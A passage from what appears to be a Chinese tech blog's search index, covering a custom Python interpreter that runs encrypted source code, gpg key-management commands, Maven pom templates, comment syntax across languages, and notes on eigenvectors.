fprintf(stderr, \"%s: parsing key file '%s' error\\n\", argv[0], keyfilename); free(keyfilename); return 2; } else { free(keyfilename); } } ...} 其逻辑如下： k: 中的 k 表示支持 -k 选项；: 表示选项后跟一个参数，即这里的已加密密钥文件的路径 解释器在处理到 -k 参数时，获取其后所跟的文件路径，记录在 keyfilename 中 使用自定义的 rsa_decrypt 函数（限于篇幅，不列出如何实现的逻辑）对已加密密钥文件进行非对称解密，获得密钥的原始内容 将该密钥内容写入到 aes_passwd 中 由此，通过显示地指定已加密密钥文件，解释器获得了原始密钥，进而通过该密钥解密已加密代码，再执行原始代码。但是，这里面还潜藏着一个风险：执行代码的过程中会生成 .pyc 文件，通过它反编译出的 .py 文件是未加密的。换句话说，恶意用户可以通过这种手段绕过限制。所以，我们需要禁用字节码 禁用字节码不生成 .pyc 文件首先要做的就是不生成 .pyc 文件，这样，恶意用户就没法直接根据 .pyc 文件来得到源码。 我们知道，通过 -B 选项可以告知 Python 解释器不生成 .pyc 文件。既然定制的 Python 解释器就不生成 .pyc 我们干脆禁用这个选项： [Modules/main.c]--------------------------------------/* 命令行选项，注意移除了B */#define BASE_OPTS \"3bc:dEhiJm:OQ:RsStuUvVW:xX?\".../* Long usage message, split into parts &lt; 512 bytes */static char *usage_1 = \"\\...//-B : don't write .py[co] files on import; also PYTHONDONTWRITEBYTECODE=x\\n\\...\";...intPy_Main(int argc, char **argv){ ... // 不生成 py[co] Py_DontWriteBytecodeFlag++; ...} 除此以外，Python 解释器还会从环境变量中获取是否不生成 .pyc 文件，因此也需要做处理： [Python/pythonrun.c]--------------------------------------voidPy_InitializeEx(int install_sigs){ ... f ((p = Py_GETENV(\"PYTHONDEBUG\")) &amp;&amp; *p != '\\0') Py_DebugFlag = add_flag(Py_DebugFlag, p); if ((p = Py_GETENV(\"PYTHONVERBOSE\")) &amp;&amp; *p != '\\0') Py_VerboseFlag = add_flag(Py_VerboseFlag, p); if ((p = Py_GETENV(\"PYTHONOPTIMIZE\")) &amp;&amp; *p != '\\0') Py_OptimizeFlag = add_flag(Py_OptimizeFlag, p); // 移除对 PYTHONDONTWRITEBYTECODE 的处理 if ((p = Py_GETENV(\"PYTHONDONTWRITEBYTECODE\")) &amp;&amp; *p != '\\0') Py_DontWriteBytecodeFlag = add_flag(Py_DontWriteBytecodeFlag, p); ...} 禁止访问字节码对象 co_code仅仅是不生成 .pyc 文件还是不够的，恶意用户已然可以访问对象的 co_code 属性来获取字节码，进而通过反编译的手段获取到源码。因此，我们也需要禁止用户访问字节码对象： [Objects/codeobject.c]--------------------------------------static PyMemberDef code_memberlist[] = { {\"co_argcount\", T_INT, OFF(co_argcount), READONLY}, {\"co_nlocals\", T_INT, OFF(co_nlocals), READONLY}, {\"co_stacksize\",T_INT, OFF(co_stacksize), READONLY}, {\"co_flags\", T_INT, OFF(co_flags), READONLY}, // {\"co_code\", T_OBJECT, OFF(co_code), READONLY}, {\"co_consts\", T_OBJECT, OFF(co_consts), READONLY}, {\"co_names\", T_OBJECT, OFF(co_names), READONLY}, {\"co_varnames\", T_OBJECT, OFF(co_varnames), READONLY}, {\"co_freevars\", T_OBJECT, OFF(co_freevars), READONLY}, {\"co_cellvars\", T_OBJECT, OFF(co_cellvars), READONLY}, {\"co_filename\", T_OBJECT, OFF(co_filename), READONLY}, {\"co_name\", T_OBJECT, OFF(co_name), READONLY}, {\"co_firstlineno\", T_INT, OFF(co_firstlineno), READONLY}, {\"co_lnotab\", T_OBJECT, OFF(co_lnotab), READONLY}, {NULL} /* Sentinel */}; 到此，一个定制的 Python 解释器完成了。 演示运行脚本通过 -k 选项执行已加密密钥文件，Python 解释器可以运行已加密和未加密的 Python 文件。 加载模块可以通过 -m 的方式加载已加密和未加密的模块，也可以通过 import 的方式来加载已加密和未加密的模块。 禁用字节码通过禁用字节码，我们达到以下效果： 不会生成 .pyc 文件 可以访问函数的 func_code 无法访问代码对象的 co_code，即本示例中的 f.func_code.co_code 无法使用 dis 模块来获取字节码 异常堆栈信息尽管代码是加密的，但是不会影响异常时的堆栈信息。 调试加密的代码也是允许调试的，但是输出的代码内容会是加密的，这正是我们所期望的。 思考 1. 如何防止通过内存操作的方式找到对象的 co_code? 2. 如何进一步提升私钥被逆向工程探知的难度？ 3. 如何能在调试并希望看到源码的时候看到？ 参考文献5 种方法，加密你的 Python 代码 如何加密你的 Python 代码 附录: gpg 命令行# 生成 gpg 密钥gpg --gen-key# 生成吊销证书gpg --gen-revoke 735C4581G2442686# 列出所有 gpg 公钥gpg --list-keys# 列出所有 gpg 私钥gpg --list-secret-keys# 删除 gpg 公钥gpg --delete-keys 735C4581G2442686# 删除 gpg 私钥gpg --delete-secret-keys 735C4581G2442686# 输出 gpg 公钥 asciigpg --armor --output public.key --export 735C4581G2442686# 输出 gpg 私钥 asciigpg --armor --output private.key --export-secret-keys 735C4581G2442686# 上传 gpg 公钥gpg --send-keys 735C4581G2442686 --keyserver # 查看 gpg 公钥指纹gpg --fingerprint 735C4581G2442686# 导入 gpg 密钥(导入私钥时会自动导入公钥)gpg --import private.key# 加密文件gpg --recipient 735C4581G2442686 --output encrypt.file --encrypt origin.file# 解密文件gpg --output origin.file --decrypt encrypt.file# 文件签名，生成二进制的 gpg 文件gpg --sign file.txt# 文件签名，生成文本末尾追加 ASCII 签名的 asc 文件gpg --clearsign file.txt# 文件签名，生成二进制的 sig 文件gpg --detach-sign file.txt# 文件签名，生成 ASCII 格式的 asc 文件gpg --detach-sign file.txt# 签名并加密gpg --local-user 735C4581G2442686 --recipient 735C4581G2442686 --armor --sign --encrypt file.txt# 验证签名gpg --verify file.txt.asc file.txt# 延期# gpg 也是使用主密钥和子密钥结合加密的# pub 和 sub 分别是主公钥和子公钥# sec 和 ssb 分别是主私钥和子私钥# 如果有多个子密钥，会显示更多的 sub 和 ssb# 一个主密钥可以绑定多个子密钥，平时加密解密使用的都是子密钥gpg --edit-key admin@XXXXXXXX.comsec rsa4096/6E22BF79E2586289 创建于：2019-02-11 有效至：9012-12-08 可用于：SC 信任度：未知 有效性：未知ssb rsa4096/A1FB112628F3B06C 创建于：2019-02-11 有效至：9012-12-08 可用于：E[ 未知 ] (1). Wildlife &lt;admin@XXXXXXXX.com&gt;# 指定子密钥，不指定则为主密钥gpg&gt; key 1sec rsa4096/6E22BF79E2586289 创建于：2019-02-11 有效至：9012-12-08 可用于：SC 信任度：未知 有效性：未知ssb* rsa4096/A1FB112628F3B06C 创建于：2019-02-11 有效至：9012-12-08 可用于：E[ 未知 ] (1). Wildlife &lt;admin@XXXXXXXX.com&gt;# 更新过期时间gpg&gt; expire将要变更子密钥的过期时间。请设定这个密钥的有效期限。 0 = 密钥永不过期 &lt;n&gt; = 密钥在 n 天后过期 &lt;n&gt;w = 密钥在 n 周后过期 &lt;n&gt;m = 密钥在 n 月后过期 &lt;n&gt;y = 密钥在 n 年后过期密钥的有效期限是？(0) 2y密钥于 9014年12月08日 星期二 12时53分35秒 CST 过期这些内容正确吗？ (y/N) ysec rsa4096/6E22BF79E2586289 创建于：2019-02-11 有效至：9012-12-08 可用于：SC 信任度：未知 有效性：未知ssb* rsa4096/A1FB112628F3B06C 创建于：2019-02-11 有效至：2022-01-25 可用于：E[ 未知 ] (1). Wildlife &lt;admin@XXXXXXXX.com&gt;gpg&gt; save","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/categories/Python/"},{"name":"解释器","slug":"Python/解释器","permalink":"https://blog.mhuig.top/categories/Python/%E8%A7%A3%E9%87%8A%E5%99%A8/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/tags/Python/"},{"name":"解释器","slug":"解释器","permalink":"https://blog.mhuig.top/tags/%E8%A7%A3%E9%87%8A%E5%99%A8/"},{"name":"源码保护","slug":"源码保护","permalink":"https://blog.mhuig.top/tags/%E6%BA%90%E7%A0%81%E4%BF%9D%E6%8A%A4/"},{"name":"加解密","slug":"加解密","permalink":"https://blog.mhuig.top/tags/%E5%8A%A0%E8%A7%A3%E5%AF%86/"}]},{"title":"WebSocket Maven 配置模板","slug":"code/WebSocketmaven配置模板","date":"2020-01-12T05:59:18.000Z","updated":"2020-01-12T05:59:18.000Z","comments":true,"path":"p/4a71123b/","link":"","permalink":"https://blog.mhuig.top/p/4a71123b/","excerpt":"maven 配置模板","text":"maven 配置模板 WebSocketTemplate源码 GitHub &lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"&gt; &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;groupId&gt;cn&lt;/groupId&gt; &lt;artifactId&gt;WebSocketTest&lt;/artifactId&gt; &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt; &lt;packaging&gt;war&lt;/packaging&gt; &lt;repositories&gt; &lt;repository&gt; &lt;id&gt;cloudera&lt;/id&gt; &lt;url&gt;https://repository.cloudera.com/artifactory/cloudera-repos/&lt;/url&gt; &lt;/repository&gt; &lt;/repositories&gt; &lt;dependencies&gt; &lt;!-- WebSocket --&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-websocket&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-messaging&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;!-- Spring --&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-context&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-beans&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-webmvc&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-jdbc&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-aspects&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-jms&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-context-support&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;!-- Mybatis --&gt; &lt;dependency&gt; &lt;groupId&gt;org.mybatis&lt;/groupId&gt; &lt;artifactId&gt;mybatis&lt;/artifactId&gt; &lt;version&gt;3.2.8&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.mybatis&lt;/groupId&gt; &lt;artifactId&gt;mybatis-spring&lt;/artifactId&gt; &lt;version&gt;1.2.2&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;com.github.miemiedev&lt;/groupId&gt; &lt;artifactId&gt;mybatis-paginator&lt;/artifactId&gt; &lt;version&gt;1.2.15&lt;/version&gt; &lt;/dependency&gt; &lt;!-- MySql --&gt; &lt;dependency&gt; &lt;groupId&gt;mysql&lt;/groupId&gt; &lt;artifactId&gt;mysql-connector-java&lt;/artifactId&gt; &lt;version&gt;5.1.32&lt;/version&gt; &lt;/dependency&gt; &lt;!-- 连接池 --&gt; &lt;dependency&gt; &lt;groupId&gt;com.alibaba&lt;/groupId&gt; &lt;artifactId&gt;druid&lt;/artifactId&gt; &lt;version&gt;1.0.9&lt;/version&gt; &lt;/dependency&gt; &lt;!-- JSP相关 --&gt; &lt;dependency&gt; &lt;groupId&gt;jstl&lt;/groupId&gt; &lt;artifactId&gt;jstl&lt;/artifactId&gt; &lt;version&gt;1.2&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;javax.servlet&lt;/groupId&gt; &lt;artifactId&gt;servlet-api&lt;/artifactId&gt; &lt;version&gt;2.5&lt;/version&gt; &lt;scope&gt;provided&lt;/scope&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;javax.servlet&lt;/groupId&gt; &lt;artifactId&gt;jsp-api&lt;/artifactId&gt; &lt;version&gt;2.0&lt;/version&gt; &lt;scope&gt;provided&lt;/scope&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;com.fasterxml.jackson.core&lt;/groupId&gt; &lt;artifactId&gt;jackson-databind&lt;/artifactId&gt; &lt;version&gt;2.9.10.1&lt;/version&gt; &lt;/dependency&gt; &lt;!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --&gt; &lt;dependency&gt; &lt;groupId&gt;com.alibaba&lt;/groupId&gt; &lt;artifactId&gt;fastjson&lt;/artifactId&gt; &lt;version&gt;1.2.41&lt;/version&gt; &lt;/dependency&gt; &lt;!-- junit--&gt; &lt;!-- https://mvnrepository.com/artifact/junit/junit --&gt; &lt;dependency&gt; &lt;groupId&gt;junit&lt;/groupId&gt; &lt;artifactId&gt;junit&lt;/artifactId&gt; &lt;version&gt;4.11&lt;/version&gt; &lt;scope&gt;test&lt;/scope&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.testng&lt;/groupId&gt; &lt;artifactId&gt;testng&lt;/artifactId&gt; &lt;version&gt;RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;/dependencies&gt; &lt;build&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-shade-plugin&lt;/artifactId&gt; &lt;version&gt;2.4.3&lt;/version&gt; &lt;executions&gt; &lt;execution&gt; &lt;phase&gt;package&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;shade&lt;/goal&gt; &lt;/goals&gt; &lt;configuration&gt; &lt;minimizeJar&gt;true&lt;/minimizeJar&gt; &lt;/configuration&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;/plugin&gt; &lt;!-- 配置Tomcat插件 --&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.tomcat.maven&lt;/groupId&gt; &lt;artifactId&gt;tomcat7-maven-plugin&lt;/artifactId&gt; &lt;version&gt;2.2&lt;/version&gt; &lt;configuration&gt; &lt;path&gt;/&lt;/path&gt; &lt;port&gt;8080&lt;/port&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;finalName&gt;${project.artifactId}&lt;/finalName&gt; &lt;resources&gt; &lt;resource&gt; &lt;directory&gt;src/main/java&lt;/directory&gt; &lt;includes&gt; &lt;include&gt;**/*.properties&lt;/include&gt; &lt;include&gt;**/*.xml&lt;/include&gt; &lt;/includes&gt; &lt;filtering&gt;false&lt;/filtering&gt; &lt;/resource&gt; &lt;resource&gt; &lt;directory&gt;src/main/resources&lt;/directory&gt; &lt;includes&gt; &lt;include&gt;**/*.properties&lt;/include&gt; &lt;include&gt;**/*.xml&lt;/include&gt; &lt;/includes&gt; &lt;filtering&gt;false&lt;/filtering&gt; &lt;/resource&gt; &lt;/resources&gt; &lt;/build&gt;&lt;/project&gt;","categories":[{"name":"模板","slug":"模板","permalink":"https://blog.mhuig.top/categories/%E6%A8%A1%E6%9D%BF/"},{"name":"maven","slug":"模板/maven","permalink":"https://blog.mhuig.top/categories/%E6%A8%A1%E6%9D%BF/maven/"}],"tags":[{"name":"maven","slug":"maven","permalink":"https://blog.mhuig.top/tags/maven/"},{"name":"模板","slug":"模板","permalink":"https://blog.mhuig.top/tags/%E6%A8%A1%E6%9D%BF/"},{"name":"WebSocket","slug":"WebSocket","permalink":"https://blog.mhuig.top/tags/WebSocket/"}]},{"title":"SSM Maven 配置模板","slug":"code/SSM maven配置模板","date":"2020-01-12T05:59:17.000Z","updated":"2020-01-12T05:59:17.000Z","comments":true,"path":"p/4a71133b/","link":"","permalink":"https://blog.mhuig.top/p/4a71133b/","excerpt":"maven 配置模板","text":"maven 配置模板 SSMTemplate源码 GitHub &lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"&gt; &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt; &lt;groupId&gt;cn&lt;/groupId&gt; &lt;artifactId&gt;WebSocketTest&lt;/artifactId&gt; &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt; &lt;packaging&gt;war&lt;/packaging&gt; &lt;repositories&gt; &lt;repository&gt; &lt;id&gt;cloudera&lt;/id&gt; &lt;url&gt;https://repository.cloudera.com/artifactory/cloudera-repos/&lt;/url&gt; &lt;/repository&gt; &lt;/repositories&gt; &lt;dependencies&gt; &lt;!-- Spring --&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-context&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-beans&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-webmvc&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-jdbc&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-aspects&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-jms&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.springframework&lt;/groupId&gt; &lt;artifactId&gt;spring-context-support&lt;/artifactId&gt; &lt;version&gt;4.2.4.RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;!-- Mybatis --&gt; &lt;dependency&gt; &lt;groupId&gt;org.mybatis&lt;/groupId&gt; &lt;artifactId&gt;mybatis&lt;/artifactId&gt; &lt;version&gt;3.2.8&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.mybatis&lt;/groupId&gt; &lt;artifactId&gt;mybatis-spring&lt;/artifactId&gt; &lt;version&gt;1.2.2&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;com.github.miemiedev&lt;/groupId&gt; &lt;artifactId&gt;mybatis-paginator&lt;/artifactId&gt; &lt;version&gt;1.2.15&lt;/version&gt; &lt;/dependency&gt; &lt;!-- MySql --&gt; &lt;dependency&gt; &lt;groupId&gt;mysql&lt;/groupId&gt; &lt;artifactId&gt;mysql-connector-java&lt;/artifactId&gt; &lt;version&gt;5.1.32&lt;/version&gt; &lt;/dependency&gt; &lt;!-- 连接池 --&gt; &lt;dependency&gt; &lt;groupId&gt;com.alibaba&lt;/groupId&gt; &lt;artifactId&gt;druid&lt;/artifactId&gt; &lt;version&gt;1.0.9&lt;/version&gt; &lt;/dependency&gt; &lt;!-- JSP相关 --&gt; &lt;dependency&gt; &lt;groupId&gt;jstl&lt;/groupId&gt; &lt;artifactId&gt;jstl&lt;/artifactId&gt; &lt;version&gt;1.2&lt;/version&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;javax.servlet&lt;/groupId&gt; &lt;artifactId&gt;servlet-api&lt;/artifactId&gt; &lt;version&gt;2.5&lt;/version&gt; &lt;scope&gt;provided&lt;/scope&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;javax.servlet&lt;/groupId&gt; &lt;artifactId&gt;jsp-api&lt;/artifactId&gt; &lt;version&gt;2.0&lt;/version&gt; &lt;scope&gt;provided&lt;/scope&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;com.fasterxml.jackson.core&lt;/groupId&gt; &lt;artifactId&gt;jackson-databind&lt;/artifactId&gt; &lt;version&gt;2.9.10.1&lt;/version&gt; &lt;/dependency&gt; &lt;!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --&gt; &lt;dependency&gt; &lt;groupId&gt;com.alibaba&lt;/groupId&gt; &lt;artifactId&gt;fastjson&lt;/artifactId&gt; &lt;version&gt;1.2.41&lt;/version&gt; &lt;/dependency&gt; &lt;!-- junit--&gt; &lt;!-- https://mvnrepository.com/artifact/junit/junit --&gt; &lt;dependency&gt; &lt;groupId&gt;junit&lt;/groupId&gt; &lt;artifactId&gt;junit&lt;/artifactId&gt; &lt;version&gt;4.11&lt;/version&gt; &lt;scope&gt;test&lt;/scope&gt; &lt;/dependency&gt; &lt;dependency&gt; &lt;groupId&gt;org.testng&lt;/groupId&gt; &lt;artifactId&gt;testng&lt;/artifactId&gt; &lt;version&gt;RELEASE&lt;/version&gt; &lt;/dependency&gt; &lt;/dependencies&gt; &lt;build&gt; &lt;plugins&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt; &lt;artifactId&gt;maven-shade-plugin&lt;/artifactId&gt; &lt;version&gt;2.4.3&lt;/version&gt; &lt;executions&gt; &lt;execution&gt; &lt;phase&gt;package&lt;/phase&gt; &lt;goals&gt; &lt;goal&gt;shade&lt;/goal&gt; &lt;/goals&gt; &lt;configuration&gt; &lt;minimizeJar&gt;true&lt;/minimizeJar&gt; &lt;/configuration&gt; &lt;/execution&gt; &lt;/executions&gt; &lt;/plugin&gt; &lt;!-- 配置Tomcat插件 --&gt; &lt;plugin&gt; &lt;groupId&gt;org.apache.tomcat.maven&lt;/groupId&gt; &lt;artifactId&gt;tomcat7-maven-plugin&lt;/artifactId&gt; &lt;version&gt;2.2&lt;/version&gt; &lt;configuration&gt; &lt;path&gt;/&lt;/path&gt; &lt;port&gt;8080&lt;/port&gt; &lt;/configuration&gt; &lt;/plugin&gt; &lt;/plugins&gt; &lt;finalName&gt;${project.artifactId}&lt;/finalName&gt; &lt;resources&gt; &lt;resource&gt; &lt;directory&gt;src/main/java&lt;/directory&gt; &lt;includes&gt; &lt;include&gt;**/*.properties&lt;/include&gt; &lt;include&gt;**/*.xml&lt;/include&gt; &lt;/includes&gt; &lt;filtering&gt;false&lt;/filtering&gt; &lt;/resource&gt; &lt;resource&gt; &lt;directory&gt;src/main/resources&lt;/directory&gt; &lt;includes&gt; &lt;include&gt;**/*.properties&lt;/include&gt; &lt;include&gt;**/*.xml&lt;/include&gt; &lt;/includes&gt; &lt;filtering&gt;false&lt;/filtering&gt; &lt;/resource&gt; &lt;/resources&gt; &lt;/build&gt;&lt;/project&gt;","categories":[{"name":"模板","slug":"模板","permalink":"https://blog.mhuig.top/categories/%E6%A8%A1%E6%9D%BF/"},{"name":"maven","slug":"模板/maven","permalink":"https://blog.mhuig.top/categories/%E6%A8%A1%E6%9D%BF/maven/"}],"tags":[{"name":"maven","slug":"maven","permalink":"https://blog.mhuig.top/tags/maven/"},{"name":"模板","slug":"模板","permalink":"https://blog.mhuig.top/tags/%E6%A8%A1%E6%9D%BF/"},{"name":"SSM","slug":"SSM","permalink":"https://blog.mhuig.top/tags/SSM/"}]},{"title":"","slug":"notes/Flink","date":"2020-01-08T23:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-flink/","link":"","permalink":"https://blog.mhuig.top/p/notes-flink/","excerpt":"","text":".fa-secondary{opacity:.4} Flink Flink 开始阅读","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"Flink","slug":"大数据/Flink","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/Flink/"}],"tags":[{"name":"Flink","slug":"Flink","permalink":"https://blog.mhuig.top/tags/Flink/"}]},{"title":"删除注释自动化","slug":"code/删除注释自动化","date":"2019-12-29T03:14:41.000Z","updated":"2019-12-29T03:14:41.000Z","comments":true,"path":"p/53d0a404/","link":"","permalink":"https://blog.mhuig.top/p/53d0a404/","excerpt":"实现批量删除 python java C CPP JS CSS html xml php sql 注释","text":"实现批量删除 python java C CPP JS CSS html xml php sql 注释 源码见 GitHub PythonPython 中的注释有单行注释和多行注释： 井号（#） Python 中单行注释以 # 开头，例如： # 这是一个注释print(\"Hello, World!\")多行注释用三个单引号 ''' 或者三个双引号 \"\"\" 将注释括起来，例如: 单引号（’’’） #!/usr/bin/python3 '''这是多行注释，用三个单引号这是多行注释，用三个单引号 这是多行注释，用三个单引号'''print(\"Hello, World!\") 双引号（”””）#!/usr/bin/python3 \"\"\"这是多行注释，用三个双引号这是多行注释，用三个双引号 这是多行注释，用三个双引号\"\"\"print(\"Hello, World!\") java 单行注释 // 注释内容 多行注释 /*... 注释内容....... 注释内容....... 注释内容....*/ 文档注释 import java.io.*; /*** 这个类演示了文档注释* @author Ayan Amhed* @version 1.2*/public class SquareNum { /** * This method returns the square of num. * This is a multiline description. You can use * as many lines as you like. * @param num The value to be squared. * @return num squared. */ public double square(double num) { return num * num; } /** * This method inputs a number from the user. * @return The value input as a double. * @exception IOException On input error. * @see IOException */ public double getNumber() throws IOException { InputStreamReader isr = new InputStreamReader(System.in); BufferedReader inData = new BufferedReader(isr); String str; str = inData.readLine(); return (new Double(str)).doubleValue(); } /** * This method demonstrates square(). * @param args Unused. * @return Nothing. * @exception IOException On input error. * @see IOException */ public static void main(String args[]) throws IOException { SquareNum ob = new SquareNum(); double val; System.out.println(\"Enter value to be squared: \"); val = ob.getNumber(); val = ob.square(val); System.out.println(\"Squared value is \" + val); }} C 语言 以 // 开始、以换行符结束的单行注释 const double pi = 3.1415926536; // pi是—个常量 以 / 开始、以 / 结束的块注释 int open( const char *name, int mode, … /* int permissions */ ); html 标签 &lt;!--这是一段注释。--&gt;&lt;p&gt;这是一段普通的段落。&lt;/p&gt; php // 单行注释 // 单行注释 井号（#） 单行注释# 单行注释 /* */ 多行注释块 /*这是多行注释块它横跨了多行*/","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/categories/Python/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/tags/Python/"},{"name":"删除注释","slug":"删除注释","permalink":"https://blog.mhuig.top/tags/%E5%88%A0%E9%99%A4%E6%B3%A8%E9%87%8A/"}]},{"title":"","slug":"notes/Windows","date":"2019-12-22T23:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-windows/","link":"","permalink":"https://blog.mhuig.top/p/notes-windows/","excerpt":"","text":"Windows Windows 开始阅读","categories":[{"name":"操作系统","slug":"操作系统","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"},{"name":"Windows","slug":"操作系统/Windows","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/"}],"tags":[{"name":"Windows","slug":"Windows","permalink":"https://blog.mhuig.top/tags/Windows/"}]},{"title":"特征向量和特征值的几何本质","slug":"ml/特征向量和特征值的几何本质","date":"2019-11-17T01:52:45.000Z","updated":"2019-11-17T01:52:45.000Z","comments":true,"path":"p/f0765214/","link":"","permalink":"https://blog.mhuig.top/p/f0765214/","excerpt":"子矩阵的特征值编码了原矩阵特征向量的隐藏信息。","text":"子矩阵的特征值编码了原矩阵特征向量的隐藏信息。 为阶矩阵，若数和维非列向量满足，那么数称为的特征值，称为的对应于特征值的特征向量。 它的物理意义是： 一个矩阵乘以一个向量， 就相当于做了一个线性变换。 方向仍然保持不变， 只是拉伸或者压缩一定倍数。 特征向量和特征值的几何本质，其实就是： 空间矢量的旋转和缩放。 线性变换 A 对于特征空间只起到 “扩张 (或者压缩)” 的作用（扩张后还是同样的特征空间） 求解特征向量按照传统解法： 计算特征多项式→求解特征值→求解齐次线性方程组，得出特征向量。 全新的方法： 其中: 为特征值对应特征向量的第个元素； 为矩阵的第个特征向量； 为矩阵的第个余子式，是该主子式的第个特征值. 通过删除原始矩阵的行和列，创建子矩阵。 子矩阵和原始矩阵的特征值组合在一起，就可以计算原始矩阵的特征向量。 简而言之，已知特征值，一个方程式就可以求得特征向量。 参考文献Eigenvectors from Eigenvalues Eigenvalues: the Rosetta Stone for Neutrino Oscillations in 